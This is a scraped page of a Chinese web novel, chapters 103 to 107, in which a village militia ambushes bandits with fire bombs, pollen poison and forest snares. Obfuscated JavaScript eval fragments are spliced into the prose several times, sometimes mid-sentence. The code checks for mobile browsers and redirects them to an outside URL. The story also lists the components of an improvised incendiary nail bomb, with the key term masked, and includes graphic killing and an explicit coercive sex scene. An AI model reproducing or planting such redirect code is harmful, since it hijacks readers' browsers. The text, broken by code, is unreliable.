宋老夫人却是心疼不已,自己的宝贝女儿,哪里干过这种粗活?
哎!
都怪那群响马,害得他们有家不能回!
要不然,她们哪里会受这样的苦!
也不知道,那姓薛的壮士,到底能不能对付那么多响马!
就算今日侥幸逃过一劫,这以后去了卧虎村,人生地不熟,又该如何度日?
那黑风岭可是有上千匪众啊,那卧虎村,难道就能抵挡吗?
宋老夫人心绪翻飞,愁容满脸,越想心里越是绝望。
“连宋小姐都去帮忙了!”
“咱们怎么能闲着!”
在宋婉儿的带动下,玉娘村的妇人们也都备受鼓舞,纷纷鼓起勇气,来了干劲儿。
虽然她们的力气比不上男人,但大家只要齐心协力,也未必不能撼动那些石头!
除了年纪太小或者岁数太大的村民,实在干不动,有四五十个青年寡妇、小寡妇,都帮着裴红玉搬石头砍树。
众人累得全身热汗淋漓,总算是在山道入口垒起了一道粗糙的防线。
“行了,你们继续回林子里躲着!”
裴红玉一袭红衣,手持素缨蘸金枪,独自镇守着这道防线!
宋仁和宋庄家丁想要留下帮忙,却被裴红玉打发走了。
“用不着你们!”
“姑奶奶一娘当关,万夫莫开!”
不多时,山谷深处传来了一阵夹杂着马儿嘶鸣的惨叫骚乱之声。
“啊!!!”
“有埋伏!快撤!”
紧接着,一匹马拖着一个浑身是血的响马,从山谷深处调头冲了出来。
躲藏在暗处的村民,全都瞳孔一缩,吓出一身冷汗。
裴红玉却是冰眸冷漠,怡然不惧,藏身于木石缝隙之后,双手拧握枪杆。
噗呲!
长达丈余的**冷不丁从左侧刺出,直接将仓皇逃窜的响马刺**下。
第103章 火烧一线天
“头领,前方地势狭窄,一次最多只能容五匹马通过!”
“若有人在此地设伏,恐对我们不利啊!”
却说不久前,红胡子率先带着一群响马,冲进山谷,没走多久,便发现前方的道路愈发狭窄。
两旁都是悬崖绝壁,山岩缝隙间长满了黑色的妖冶野花。
细微如尘的花粉,随风漂浮于夜色之中,肉眼根本无法察觉。
“啊切!”
红胡子吸入了一口含有花粉的空气,忍不住打了个喷嚏。
看着地上越来越新鲜的车辙印,不屑冷哼道:“都他娘追到这儿了,岂能半途而废?”
“看这车辙印这么新鲜,想来宋庄的人就在前面不远了!他们带着村民肯定走不快,哪有功夫设埋伏?”
“弟兄们,给我五人一排,继续向前挺进!”
“宋庄胆大包天,敢杀我黑风岭弟兄!他们今日就是长了翅膀,也休想逃出爷爷的手掌心!”
“给我冲,追上去杀光他们,把宋家小妞抓回来!”
“是!”
红胡子振臂一呼,五十名响马立即变换阵型。
五人一排,陆续朝“一线天”里鱼贯而入。
“头领,前面发现马车!”
进入一线天不久,便有响马发现一辆马车停在谷底。
“哈哈哈!总算让我追上了!给我围住!”
红胡子也看见了那辆马车,手中狼牙棒指着前方,大笑道:“弟兄们!看见了吧,宋庄的人就在那儿!!”
最前排的五名响马,首当其冲,挥刀冲向马车,将马车团团围住。
“车里的人听着!”
“你们已经无路可逃了,还不赶快出来受死!”
面对响马的恐吓,马车里却是没人回应。
红胡子拍马上前,皱眉问道:“怎么回事?”
一名响马用刀撩开车帘,顿时瞳孔一缩,吓出一身冷汗。
“头领!”
“里面……没人!”
红胡子闻言一怔,随即上前查看。
只见车厢里面,一个人影都没有,只有一堆整齐罗列的竹筒。
此外,空气里似乎还弥漫着什么古怪的气味。
“头领,是油!是桐油的味道!”
有鼻子比较灵的手下,率先确定了那气味的来源,指着马车说道。
红胡子这才注意到,整个马车周围都是湿漉漉的,仿佛被浇上了桐油。
“不对劲!快撤!!”
红胡子心弦一紧,正准备率队调头撤出一线天。
但此地地势狭窄,想调头哪有那么容易?
恰在这时,却听头顶悬崖边上,传来一声猖狂大笑。
“哈哈哈!”
“尔等贼寇已是瓮中之鳖,哪里走?!”
红胡子心头一惊,循声抬头看去,只见悬崖边上,显现出十数道人影。
人人手中举着一个明晃晃的火把。
为首一人玄袍锦衣,面带冷笑:“既然来了,就别走了!我请你们吃道火烧王八!”
只见他大手一挥,十几个火把同时脱手而出,抛入谷底。
轰——!
火把从天而降,落在马车周围,桐油瞬间被引燃。
砰!!!
紧接着,整个马车轰然炸开!
一声震天巨响,犹如平地惊雷,响彻整个一线天。
强烈的闪光,将漆黑谷底照得亮如白昼!
“呃啊啊……呃啊!”
距离马车最近的五个响马,连人带马当场被烧成了焦炭。
其他响马,也都被飞溅而出的流火和铁屑波及!
有的被滚烫的铁屑烧夏了眼,从马上翻滚而下,被慌乱的马蹄活活踩死!
有的则身上沾上燃烧的鱼胶,很快全身衣服都被点燃,成了火人!
在桐油的助燃下,一线天几乎沦为了火海!
五十名响马方寸大乱,疯狂逃窜!
奈何一线天内地势本就狭窄,慌乱之下你不让我,我不让你,逃出去的机会近乎于无。
“哈哈哈!薛大哥,咱们这道火烧王八,算是出锅了!”
俯瞰谷底在火海中翻滚挣扎,惨嚎不止的响马,罗飞和投掷队众人,纷纷畅快大笑起来。
薛猛淡淡一笑,扭头看向寇芳和寇达:“这还要多亏了寇家兄妹,及时运来了足够的桐油和喷火雷。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313067|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>寇芳惭愧道:“恩公,这明明是你的计策!我们只不过是按照你的密令行事罢了!”
“恩公的‘喷火雷’遇火就炸,似有雷霆之威,实在是厉害!”
寇达笑道:“这一个月来,徐伯他们暗中制作的上百个喷火雷,没想到今日全都派上用场了!”
秦义头一回见到“喷火雷”的威力,一双斗鸡眼充满好奇:“姑爷爷,那,竹筒里,到底装的什么东西,怎么,这么厉害!”
“把那些响马,都,烧成烤王八了!”
罗飞等人也都十分好奇。
就连运送竹筒过来的寇达、寇芳,也不是很清楚那竹筒里装的是啥。
他们只知道,这竹筒里装的东西,是薛猛让徐伯的三个女婿在地窖里暗中配制的,搞得特别神秘,压根不许别人靠近。
为了配制这东西,还专门让人到茅厕墙壁上刮取白硝。
短短一个月,附近几个村子的茅厕都快被他们弄干净了!
薛猛笑了笑,也不隐瞒:“竹筒里装的是**,还有石松孢子粉,鱼胶,铁屑,碎钉。”
“**?”
听到这个完全陌生的怪词,所有人都是大眼瞪小眼,完全摸不着头脑。
罗飞挠挠头,尴尬笑道:“算了,咱们脑子笨,就算薛大哥说了咱们也听不懂!”
“反正薛大哥说是啥,就是啥!”
“对对对!不管是啥,反正这些响马是吃到苦头了!”
众人点头附和。
“恩公你看,还有几个命大的跑了!”
谈笑间,谷底的火势渐渐平息,寇芳眼尖,发现有几匹马居然从火海中逃了出去,朝着一线天出口的方向奔去了。
为首的正是那头领红胡子,这家伙胡子都被烧没了,模样狼狈至极。
“无妨!”
薛猛看着仓皇逃窜的红胡子,淡定自若,胸有成竹:“他们吸入了曼陀罗花粉,逃不出去的!”
“我数三个数,他们全得倒下!”
薛猛伸出三根手指。
“三!”
“二!”
“一!”
薛猛话落。
众人瞪大了眼睛。
第104章 做好牺牲的准备
“倒!”
随着薛猛最后一根手指放下。
紧跟在红胡子身后的几名响马,果然应声**昏**过去。
唯独领头红胡子,身形只是晃了一晃,便又强行打起精神。
骑着胯下一匹中原战马,快马加鞭,几乎快要奔出谷口。
“我擦!”
“这家伙身体素质这么吊?”
“都**了,还跑呢!”
薛猛有些尴尬。
说好的数三个数,响马全都**!
没想到装比失败了!
“姑爷爷,你,别急,我来,收拾他!”
秦义目光一扫,瞅见不远处悬崖边上一块比人还高的巨石。
“给我,下去吧!”
秦义来到石头后面,一咬牙,使出浑身气力往下一顶。
轰隆!
巨石坠落谷底,发出骇人闷响。
“什么东西?”
红胡子听见头顶打雷一样的动静,下意识抬头看去,顿时被眼前所见之物吓得魂飞魄散。
“啊!”
那巨石犹如一座小山,从天而降!
红胡子来不及躲闪,便连人带马被砸成了肉饼。
“得,又加一道菜,王八马肉饼!”
“王八火烧配马肉饼,咱们这小日子也是好起来了!”
响马全部伏诛。
薛猛众人全都放松了下来,忍不住开起了玩笑。
但大伙还没来得及高兴,忽听一阵骚乱的马蹄声响起,又有一群响马出现在一线天入口。
“有埋伏!”
“快撤!”
这些响马戒备心很强,走得很慢,刚一进入一线天,就看见红胡子等人中了埋伏。
为首的独眼龙当机立断,直接下令撤退,朝着来时的山谷口冲去!
“坏了!怎么后面还有这么多响马?”
薛猛虎目一怔。
其他人面色也都凝重了起来。
“不好!”
“裴姑娘她们危险了!”
原本在薛猛的计算中,响马只要进了一线天,要想逃出去几无可能。
就算要逃,在一线天里也不好调头,只能硬着头皮往前冲。
所以,薛猛把接到密令后赶来接应的大刀队、**队、**队,全都安置在了一线天出口处。
让他们在那里设伏,伏击漏网之鱼!
而一线天后方的山谷口,薛猛并没有留什么人,只留了裴红玉一个人!
谁曾想,后面还有一队响马。
这些响马刚进一线天,调头返回,轻而易举。
没有一线天地形限制,五十骑响马可以并排冲锋!
裴红玉一个人,就是有三头六臂也挡不住啊!
“薛大哥,现在可如何是好啊?”
“裴姑娘一个人,怎么挡得住这么多响马?”
罗飞等人顿时慌了。
大家都没料到,事情会发生这样的变故!
真是人算不如天算!
薛猛扭头对寇芳问道:“还有喷火雷吗?”
寇芳眉头轻锁,摇了摇头。
刚才伏击红胡子那伙响马,把喷火雷全放马车上了!
薛猛罕见地犯了难。
先前对付红胡子,全靠一线天的地形优势,还有喷火雷的惊人威力!
可如今,这两样东西都不占。
想要靠他们这些人,正面对抗黑风岭响马,几乎没有胜算!
这可如何是好?
薛猛闭上双眼,大半个卧虎山的地形,在脑海中清晰呈现。
“有了,一线天离**凼不远,可以用这个法子试试!”
薛猛脑中灵光一闪,想起了**凼里的那片巨龙竹林。
响马的厉害之处在于骑马冲锋产生的冲击力和机动性,若将他们引入巨龙竹林,他们的优势也就不攻自破了。
薛猛拿起一块石子,在地上画出了一个简易的地形示意图。
随后在其上斜着画出一条捷径,对之前进过**凼的寇达问道:“寇达,你还记得这条路吗?”
寇达凑上前去一看,点点头:“记得,这是咱们走出迷雾竹林的那条路。”
“这条路斜插过去就是老鸦坎。”
“我要你以最快的速度,通知山猫子他们,让他们在迷雾竹林设伏。”
薛猛又在地图上画出了一道直线,把**凼和老鸦坎连了起来。
又用一些三角形,标记设伏的区域。
经过薛猛寥寥几笔勾画。
一个精妙的杀局就此浮现。
“咱们要用狩猎豺狼虎豹的法子,来狩猎这些响马!”
“无论如何,也不能让他们活着离开!”
“一旦这些响马活着出去,咱们白虎乡的乡亲可就要遭殃了!”
“是!”
寇达强压下心头震惊,立即带着罗飞等人转身朝**凼方向赶去。
“恩公,你真是神了,我们常在林子里钻,都没发现这条捷径!”
“你是怎么发现的?”
作为一个飞贼,寇芳掌握着不少常人不知道的偏僻小道。
道上管这个叫做“贼道”,也就是只有贼才能发现的道!
薛猛虽不是贼,但抄起小道来,比她这个贼还要狠!
薛猛并没有解释。
也没办法解释。
这是一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313068|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
种与生俱来的天赋!
超强的空间想象力和记忆力,让薛猛的大脑里随时可以清晰呈现一个动态地图。
只要去过一次的地方,不论地形有多复杂,都会在他脑海里留下深刻的印记。
“要引这些响马进迷雾竹林,需要诱饵!”
“这个诱饵,只能我们来当了!”
“大家做好,牺牲的准备吧!”
薛猛眼神决绝,从背后箭筒抽出一支响箭,朝天射出。
咻——!
寒芒如电掠出,锐啸之声划破夜空。
埋伏在一线天出口处的大刀队队长郑灵均、**队副队长周楠、**队队长杨虎,齐齐仰起头,看向天空。
“不好!情况有变!”
“兔崽子们,都给我把刀擦亮咯!咱们这次,怕是要正儿八经,跟黑风岭响马刺刀见红了!”
郑灵均实战经验丰富,最先反应过来发生了什么。
从兜里摸出几片甘草饮片,含入舌底。
锵!
随即从背后抽出两把刀。
目中精芒内敛。
带着大刀队朝着一线天里冲了出去!
杨虎、周楠也有样学样,让手下队员摸出甘草含入舌底,带着各自队伍潜入一线天!
“头领!”
“咱们的路被堵住了!”
而与此同时,独眼龙率领的五十名响马,经过短暂奔袭,迅速撤回到山谷口。
但却被眼前不知何时出现的树木和石头,挡住了去路!
那些树木被绑成鹿角状,显然就是专门阻挡他们的。
最先逃出山谷的一个响马,刚准备跃过那些阻碍,便被冷不丁刺出的钢**翻**!
“这里竟然也有伏兵?”
看见自己的手下**,独眼龙眉头一皱,抬手示意后面的队伍暂时不要轻举妄动。
一时间,响马们陷入了进退两难的境地。
前后都有埋伏!
关键是,摸不清楚对方到底有多少人!
又听见空中传来响箭的声音,独眼龙心里有些没底,暂时不敢命令手下冲锋。
殊不知,埋伏在木石缝隙后面的裴红玉,瞥见迎面而来的一群响马,同样也是心里直打鼓。
“薛猛这个王八蛋,搞什么呢!”
“不是说,那些响马只要进去之后,没几个能跑出来吗?”
“怎么一下出来这么多?”
“真当老娘一娘当关,万夫莫开啊?”
裴红玉暗自数了数,出来的响马足有五十骑。
独自面对这么多响马,饶是胆大如裴红玉,额头上也是不由得垂下了冷汗。
第105章 以身入局,诱敌之计
“贤侄,出什么事了?”
薛猛放完响箭后,让寇芳从悬崖边丢下绳索,运用前世在部队所学的绳降术,迅速落至一线天谷底。
正好与赶来的郑灵均一行人汇合。
见薛猛和寇芳仅靠一根绳索,从悬崖绝壁上飞身而下,巡猎队众人都吃了一惊。
寇芳本就是飞贼出身,飞檐走壁自然不在话下。
但没想到,薛猛居然也会飞檐走壁?!
薛猛对郑灵均回道:“郑叔,情况紧急,没时间解释了!有五十骑响马,没有上钩,调头朝山谷口方向逃去了!”
“什么?”
众人闻言表情都出其凝重。
因为大家都很清楚,山谷口只有裴红玉一人镇守!
“这么多响马,裴队长一个人怎么抵挡得住?”
“咱们得赶快去帮她!”
**队副队长周楠急道。
十名**手也都群情激愤,想要赶去帮裴红玉对付响马。
“不行!”
郑灵均目光一沉,直接抬手制止:“没有一线天的地形优势,和响马硬碰硬,那就是送死!”
与北莽铁骑作战多年,这位白虎军老兵,深知步兵对骑兵,有着天然的劣势。
虽然黑风岭这些响马的实力,远远比不上北莽铁骑,但也不容小觑!
步兵打骑兵,要么依靠人数优势,要么借助地形压制。
但大刀队、**队、**队,所有人加起来也不过才三十来人,怎么跟五十骑响马对抗?
薛猛点头:“郑叔所言极是!”
“所以,我决定亲自引诱这些响马进入**凼,**凼被浓雾笼罩,且生长着大片的巨龙竹林,只要进到里面,骑兵的优势便不复存在!”
“到那时,咱们便可以用狩猎野物的方式,将这些牲畜逐一猎杀!”
“不过,要引诱这些响马上钩,需要你们配合!你们……先这样……然后这样!”
凑上前去听完薛猛的计划,郑灵均、杨虎、周楠三个队长,顿时眼前一亮。
“妙计!如此一来,这些响马定然会上钩!”
“好,那咱们立即行动!”
……
“啊……”
独眼龙等一众响马,正与裴红玉僵持。
犹豫要不要硬闯山谷口!
却听身后响起一阵惊叫。
独眼龙循声回头看去,只见一个浑身血污的人,骑着马从一线天里仓皇奔出。
独眼龙手下心腹,指着那人说道:“头领,好像是二营的弟兄!”
独眼龙抬眸打量了那人一眼,见他身形佝偻,满头满脸的都是血污,看不清面容。
胯下的马脖子上,倒是挂着黑风岭骠骑营的铃铛。
穿着打扮,也都是二营弟兄的模样,只是身上的衣服已经被烧破。
那人见了独眼龙,出声大喊:“头领不好了,后方烟尘四起,火光冲天,似有大队官军朝我们后方杀来!”
“咱们快跑吧!”
独眼龙一惊,开口对那人问道:“你们头领红胡子呢?”
“**!弟兄们都**!只有我逃了出来!”
“贼寇休走!众将士听令,给我杀!!!”
独眼龙来不及细想这人是怎么逃出来的,就听一线天里喊杀声震天,烟尘弥漫,仿佛有大队人马杀来。
众响马见状,顿时慌乱了阵脚。
独眼龙手下心腹急道:“头领,前有堵截,后有追兵,看这阵势,定然不是宋庄的人能做到的。”
“想来定是那宋庄报了官,官军故意在此地设伏,想要剿灭我们啊!咱们该怎么办?”
一向冷静的独眼龙,此时也是惊出了一身冷汗。
他先是看了看山谷口拦路的木石,又回头看了看一线天里弥漫的沙尘。
看这阵势,确实像是官军所为!
寻常乡勇,可没这等本事!
这时候,先前逃出一线天那人,又道:“头领,我想起一条捷径,或许可以逃出生天!”
“哦?快快讲来!”独眼龙问道。
那人回道:“此地唤作一线天,距此不远,有个**凼。”
“里面虽然常年雾气笼罩,被人视作生人禁地,实则内部地形开阔,直通卧虎山北麓。”
“只要咱们进了**凼,官军定然不敢再追击咱们!”
“那还等什么,赶快带路啊!!”
独眼龙心腹,不疑有他,急忙催促道。
独眼龙闻言,却是面露狐疑,对那人问道:“慢着!你小子怎么这么了解此地地形?”
对方回道:“头领有所不知,小的在入伙之前,曾是跑山客,这些山头我都去过!”
“是吗?”
见独眼龙还在犹豫,心腹连忙催促道:“头领,没时间了,咱们再不走,等官军追上来,想跑都跑不掉了!”
“是啊!头领,咱们快走吧!二营的弟兄,不会害我们的!”
“走吧!”
在这种要命的关头,谁不怕死?
响马们全都慌了,纷纷催促独眼龙做决定。
“行吧,你在前面带路!”
独眼龙一咬牙,最终还是做出了决定。
“是!”
那人转过身去,嘴角浮现出一抹阴谋得逞的冷笑。
“驾!”
一群响马,跟着这位幸存的“二营弟兄”,朝着一条杂草丛生的隐蔽小道钻了进去。
独眼龙全然不知,自己的这个决定,将葬送所有弟兄的性命。
见五十骑响马突然撤去,躲藏在木石缝隙后,浑身冷汗淋漓的裴红玉,满脸惊异。
“这些响马,怎么撤了?”
“难道真有官军来了?”
裴红玉抹了把额头上的汗水,百思不得其解。
压根不知道发生了什么。
薛猛先前也没说,找来了官军啊?
待得响马全部离开,郑灵均带着大刀队的人,牵着十几匹驽马,从一线天里走了出来。
“郑叔?”
裴红玉冰眸一瞪,连忙起身,迎了上去:“郑叔,这到底是怎么一回事?官军呢?怎么就你们?”
郑灵均摸了摸下颌虬髯笑了笑,简单解释了一番薛猛的诱敌计划。
“这都是薛猛贤侄的主意,他让我们牵着马,在一线天里来回奔腾,还让我们往外扬灰尘!”
“营造出千军万马的气势!”
“目的就是为了吓唬那些响马!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313069|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>裴红玉听了郑灵均的话,这才回过味来,哪有什么官军?
原来都是郑灵均他们,在一线天里故布疑阵,虚张声势!
“薛猛这家伙人呢!**队和**队呢?”
裴红玉目光扫视一圈,发现只有大刀队的人,没见到薛猛和其他人的影子。
郑灵均道:“**队和**队走另外一条路,去**凼设伏了!而薛猛贤侄,为了引诱那五十骑响马进入**凼,扒下了响马尸身上的衣服,乔装改扮,假装成了幸存的响马!”
“什么?你是说,刚才从一线天里跑出来的那个浑身血污,驼背弓腰的响马,就是薛猛?”
裴红玉闻言一愣,回想起刚才那人的样子,她压根就没认出来,还真以为是幸存的响马呢!
薛猛这家伙,不仅鬼点子多,居然还精通伪装?
她可是和薛猛同在一张床上睡过的人,都认不出薛猛,更别提那些响马了!
难怪他们会上当,跟着薛猛走!
不过,薛猛以身入局,诱敌深入,未免也太冒险了吧?
万一那些响马中途识破了他,可怎么得了?
裴红玉心弦一紧,担心薛猛安危:“郑叔,咱们也赶去**凼,帮薛猛吧!我怕他……”
郑灵均摆手阻止:“不必了!薛贤侄再三叮嘱,让我们不要去添乱!”
“况且他早就让寇达去通知山猫子他们了,**队、**队,再加上山猫子手下的那些弟兄,利用**凼的地形优势,对付这些响马绰绰有余!不会有事的!”
“咱们还是赶快把村民们送回卧虎村吧!”
“那,好吧!”
既然薛猛做了决定,裴红玉也只能妥协,带着大刀队众人回到了玉娘村村民藏身之处。
“裴姑娘,薛壮士他们不会有事吧?”
宋老太公担忧问道。
玉娘村的村民们,也都满脸惶恐害怕。
方才她们躲在树林里,隔老远都能听见山谷里的动静。
一会儿像打雷一样,一会儿火光冲天,一会儿烟尘四起,看得人心里直打颤。
裴红玉心里也没底,但还是故作镇定,对村民们安抚道:“放心吧,薛猛鬼主意多着呢!那些响马死定了!”
……
“弟兄们,快跟上!前面就到了!”
“只要进了**凼,官军就奈何不得我们了!”
伪装成响马幸存者的薛猛,飞马疾驰,在前面带路。
引诱着独眼龙一伙响马,由一处荒僻小道,进入了卧虎山腹地。
不知不觉间,周围的雾气浓郁了起来。
**凼,到了!
见背后没有官军追来,众响马顿时松了口气。
速度也都慢了下来。
“好小子,这么复杂的地形,亏你记得住!”
独眼龙看着带路的薛猛,不由得心生几分欣赏:“你小子还真是个人才,若这次咱们成功逃了出去,回头我就禀告大王,提拔你做个小头领!”
“呵呵。”
薛猛闻言,只是冷笑。
嗯?
独眼龙不由一怔,盯着薛猛忽然挺拔起来的脊背,觉察出一丝不对劲。
“你,笑什么?”
第106章 林中围猎
“呵呵,我笑尔等少智!”
“死到临头,还不自知!”
薛猛声音低沉,在夜色中回荡开来,令众响马闻之,不寒而栗!
“你到底是什么人?!”
独眼龙眼冒凶光,攥紧了手中的长矛。
薛猛扭过头,缓缓抹去脸上的血污,露出一双精光内蕴的俊朗虎目。
直勾勾盯着独眼龙,不答反问:“你家住敦煌吗?”
“什么意思?”
“壁画这么多!”
虽然独眼龙听不懂薛猛这话什么意思,但从薛猛的表情,不难猜出,这话肯定是在骂人!
“敢耍我!**!”
独眼龙一挺手中长矛,径直朝着薛猛的心窝刺去。
薛猛岿然不动,气定神闲。
“啊!”
下一刻,一声惨叫响彻**凼。
但惨叫的并非薛猛。
而是发起攻击的独眼龙。
独眼龙心腹手下在一旁看了个真切,就在独眼龙手中长矛即将刺中薛猛心口之时,浓雾之中忽然飞出一个绳套,直接套住了独眼龙的脖子。
独眼龙目光一滞,还没反应怎么回事,便被那绳套勒紧脖子,拽**下!
整个人直接被拖进了浓雾之中。
随着一声凄厉惨叫之后,再也没了动静。
“不好!有埋伏!快撤!”
独眼龙心腹见状,惊喊一声。
其余响马顿时陷入骚乱,纷纷拍马想要原路返回!
奈何周围雾气越来越重。
五米开外便彻底看不清东西。
铛!铛!铛!
恰在这时,四面八方响起了锣鼓敲击声。
“唏律律!”
响马胯下马匹,听到锣声,受惊不小,全都失控般横冲直撞,最后被浓雾中的巨龙竹撞得人仰马翻!
当他们想要挣扎着爬起来,一个个不知从何处飞来的绳套,已经套住了他们的脖子。
“哈哈哈!”
听着浓雾中传出的大笑声。
响马们如被魔音贯耳,吓得魂飞魄散!
仿佛四面八方都有人影,朝他们包围而来。
“快跑!”
“咱们中计了!”
响马心腹见势不对,果断弃马逃生,带着十几个机灵的响马,在林子里东躲西藏。
“秦义在此,贼寇休走!”
背后,一道道人影恍若鬼魅,穷追不舍。
响马们本想停下抵抗,没想到林中突然冲出一个力大无穷的疯子,只要被他逮住,脑袋直接就被拧下来当球踢。
“啊!”
响马们吓破了胆,只能继续逃跑。
仓皇逃窜过程中,不时有人被冷箭射中倒下。
还有的踩中捕兽夹,被夹断了腿。
还有的掉进了陷坑,被坑里倒插的竹刺插了个透心凉!
浓雾弥漫的竹林之中,惨叫声此起彼伏。
响马们做梦也没想到,以往都是他们追着别人跑,现如今自己却成了猎物!
一步踏错,便是死局!
直到天快亮的时候,最后一只响马被隐藏在树上的山猫子,丢出绳套勒住脖子,吊上树梢,活活勒死。
这场酣畅淋漓的林中追逐狩猎,方才宣告结束!
……
朝霞映山脊,翠竹沐鸟声。
天亮了。
雾气淡了一些。
天边似有七色霞光闪耀。
薛猛一行人,带着大胜的喜悦,牵着缴获的五十匹中原战马,缓缓走出迷雾竹林。
而那些惨死林中的响马,则被留在了林中,自然会有豺狼虎豹将他们的尸体打扫干净。
独眼龙被五花大绑,捆在薛猛的马背上,嘴角残留着血迹,整个人已经奄奄一息。
“姑,姑爷爷,你为什么不让我,把他头拧下来?”
秦义看着独眼龙,不解问道。
薛猛深意一笑:“这家伙大小算是个头领,肯定知道不少黑风岭响马的底细,留着有用!”
“行,行吧!”
秦义想着,等姑爷爷用完,我再把这家伙头拧下来踢着玩儿!
薛猛扭头对山猫子说道:“山猫子,这次歼灭这些响马,你们老鸦坎功劳不小!回头重重有赏!”
“谢薛大掌柜!”
山猫子嘿嘿一笑,心里美滋滋。
老鸦坎的弟兄们心里也都乐开了花。
自从跟了薛大掌柜,他们每天在老鸦坎搞养殖畜牧,每个月都有银子拿,吃得饱,穿得暖,家里条件也越来越好了。
这可比以前当棒匪强多了!
山猫子推了推发愣的大海,问道:“大海,你想啥呢?薛大掌柜要赏咱们,你咋一点反应都没有?”
大海抬起头,感慨万千:“我还没缓过劲儿来呢!”
想起昨晚围猎黑风岭响马的一幕幕,大海便心绪难平。
“黑风岭可是整个蜀郡响当当的大绺子啊!黑风岭响马,全是**如麻的狠角色,比马青锋他们还要厉害!”
“要是搁往常,咱们哪里敢跟他们真刀**地干?”
“可薛大掌柜的计谋,愣是让咱们这些半罐水,好好威风了一把!居然把黑风岭响马打得落花流水!”
“我到现在,都还感觉像在做梦一样!”
老鸦坎众人闻言,纷纷点头附和。
原来不止大海,大家都有这种感觉。
仿佛只要跟着薛猛!
狗熊也能变成英雄!
“行啦,少拍马屁!待会儿回了村子,你们都给我把土匪**气收敛点!”
薛猛回头看着老鸦坎这些弟兄,这些人以前都当过棒匪,虽然没杀过人,但也算不上什么良
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313070|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
民。
哪怕如今改邪归正了,但他们骨子里还是透着一股子匪气。
不过,在如今这个世道,只要用对了地方,这些人或许比良民更好用!
只是让他们搞养殖畜牧,似乎有些大材小用了!
薛猛暗自盘算着,如今巡猎队步战有大刀队、**队。
远程有投掷队、**队。
水战有捕鱼队。
唯独没有骑兵队!
若想正面对抗黑风岭响马,骑兵队必不可少!
山猫子这伙人,不就是现成的苗子吗?
正好缴获了五十匹中原战马!
完全可以组建一支骑兵队!
“薛猛!”
岔道口,裴红玉的声音突然响起,打断了薛猛的思绪。
扭头一看,裴红玉、郑灵均,牵着二十匹驽马,赶着马车,护送着玉娘村村民,从乡道上缓缓走来。
见到薛猛,裴红玉将手中马缰交给郑灵均,撒腿朝薛猛扑了过来。
“薛猛,你没事吧?”
裴红玉仔仔细细把薛猛全身上下摸了个遍,确定薛猛没有受伤,方才松了口气。
薛猛被弄得浑身不自在,调侃道:“你什么时候这么担心我了?”
“切!谁担心你呀!”
裴红玉抱着胳膊,别过脸去,故作不在乎:“我只不过是怕你有个三长两短,林嫂子和瑾儿妹子没人照顾!”
“姑奶奶,你放心吧,有我在,姑爷爷不可能,有三长两短!”秦义憨憨道。
“去去去!哪都有你!”
裴红玉打发秦义一边凉快去,随即拽着薛猛衣袖,把薛猛拉进了路边小树林。
“我靠,你干啥!”
一进小树林,裴红玉就开始动手动脚,扒拉薛猛的衣服,薛猛直接被整懵了。
“马上就要到家了!”
“回了家,你家里两个婆娘看得紧,咱俩可就没机会好了!”
“来吧,让姑奶奶再吃上一回小心肝儿!”
说完,裴红玉直接扒下薛猛裤头,蹲了下来,玉口大张咬了上去。
“啊!”
薛猛背靠大树,难受得直翻白眼。
他想要抵抗,但却没了气力。
只能屈从了裴红玉。
“姑奶奶把姑爷爷,拽进小树林,干,干,干啥呢?”
见薛猛被裴红玉拉进小树林后,树丛哗啦啦晃个不停,秦义愣头愣脑,想要跟进去,却被郑灵均一把拽住。
“秦小公子,你就别去凑热闹了。”
“他们干他们的,咱们还是快回村子吧!”
“你不是说饿了吗?回村就有饭吃了!有鱼还有鹿肉!”
“鹿肉?好,好,我爱吃鹿肉!咱们快走吧!”
一听吃肉,秦义顿时来了劲儿。
也顾不上薛猛和裴红玉了。
第107章 卧虎村简直就是天堂
朝阳下,卧虎村村口,人头攒动。
听说薛猛要回村,卧虎村的乡亲们不约而同起了个大早,只为迎接薛猛回村。
如今的薛猛,早已成了卧虎村名副其实的话事人,是村民们心目中真正的“土皇帝”!
大虞的皇帝管天管地,不管他们饭吃!
